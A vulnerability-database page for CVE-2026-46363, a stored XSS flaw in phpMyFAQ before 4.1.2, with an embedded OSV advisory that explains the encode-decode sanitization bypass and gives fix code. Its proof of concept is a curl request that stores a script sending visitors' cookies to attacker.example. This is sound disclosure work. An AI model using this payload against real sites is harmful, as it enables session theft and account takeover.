CVE-2026-46363: Phpmyfaq/phpmyfaq Cross-Site Scripting Vulnerability
MODERATECVE-2026-46363 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpmyfaq/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has stored xss in faq question/answer via encode-decode bypass of removeattributes() sanitization. Remediation is available by upgrading affected packages to version 4.1.2.
CVE-2026-46363 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-46363
To remediate this vulnerability, upgrade all affected Phpmyfaq/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade phpmyfaq/phpmyfaq to 4.1.2
Upgrade thorsten/phpmyfaq to 4.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phpmyfaq/phpmyfaq
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-46363, inspect your project dependencies for Phpmyfaq/phpmyfaq:
inspect dependencies for phpmyfaq/phpmyfaq
Analyze the terminal output to locate any version of Phpmyfaq/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpmyfaq/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46363 Affected Phpmyfaq/phpmyfaq Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phpmyfaq/phpmyfaq
|
Packagist |
< 4.1.2
|
4.1.2
|
|
thorsten/phpmyfaq
|
Packagist |
< 4.1.2
|
4.1.2
|
References
Frequently Asked Questions
What is CVE-2026-46363?
Which Phpmyfaq/phpmyfaq versions are affected?
What version fixes CVE-2026-46363?
Is phpmyfaq/phpmyfaq affected?
Is thorsten/phpmyfaq affected?
What is the CVSS score of CVE-2026-46363?
What CWE is associated with CVE-2026-46363?
How can I check Packagist dependencies for CVE-2026-46363?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f5p7-2c9q-8896",
"modified" : "2026-06-09T00:00:30Z",
"published" : "2026-05-06T20:18:02Z",
"aliases" : [ "CVE-2026-46363" ],
"summary" : "phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization",
"details" : "## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser.\n\n## Details\n\n**Vulnerable code path (FAQ create — `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `<script>`. The regex `/\\x00|<[^>]*>?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n->setAnswer(Filter::removeAttributes(html_entity_decode(\n (string) $content,\n ENT_QUOTES | ENT_HTML5,\n encoding: 'UTF-8',\n)))\n```\n\n`html_entity_decode()` converts `<script>` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n<h2 class=\"mb-4 border-bottom\">{{ question | raw }}</h2>\n<article class=\"pmf-faq-body pb-4 mb-4 border-bottom\">{{ answer|raw }}</article>\n```\n\nThe `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST 'https://target/admin/api/faq/create' \\\n -H 'Cookie: PHPSESSID=<admin_session>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"data\": {\n \"pmf-csrf-token\": \"<valid_csrf_token>\",\n \"question\": \"Harmless FAQ Title\",\n \"answer\": \"Helpful content<script>fetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)</script>\",\n \"categories[]\": 1,\n \"lang\": \"en\",\n \"tags\": \"\",\n \"active\": \"yes\",\n \"sticky\": \"no\",\n \"keywords\": \"test\",\n \"author\": \"Admin\",\n \"email\": \"admin@example.com\",\n \"comment\": \"n\",\n \"changed\": \"Initial\",\n \"notes\": \"\",\n \"serpTitle\": \"Harmless FAQ\",\n \"serpDescription\": \"Test\",\n \"openQuestionId\": 0,\n \"notifyEmail\": \"\",\n \"notifyUser\": \"\",\n \"recordDateHandling\": \"updateDate\"\n }\n }'\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = ''): string\n{\n // Strip dangerous HTML tags entirely\n $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];\n foreach ($dangerousTags as $tag) {\n $html = preg_replace('/<' . $tag . '\\b[^>]*>.*?<\\/' . $tag . '>/is', '', $html);\n $html = preg_replace('/<' . $tag . '\\b[^>]*\\/?>/is', '', $html);\n }\n\n // Also sanitize javascript: URIs in href/src attributes\n $html = preg_replace('/\\b(href|src)\\s*=\\s*[\"\\']?\\s*javascript:/i', '$1=\"', $html);\n\n $keep = [\n 'href', 'src', 'title', 'alt', 'class', 'style', 'id',\n 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',\n 'height', 'controls',\n ];\n // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n ->allowSafeElements()\n ->blockElement('script')\n ->blockElement('iframe')\n ->blockElement('object')\n ->blockElement('embed');\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer->sanitize($rawAnswer);\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpmyfaq/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "thorsten/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46363"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/thorsten/phpMyFAQ"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-in-faq-question-answer-via-encode-decode-bypass"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T20:18:02Z",
"nvd_published_at" : null
}
}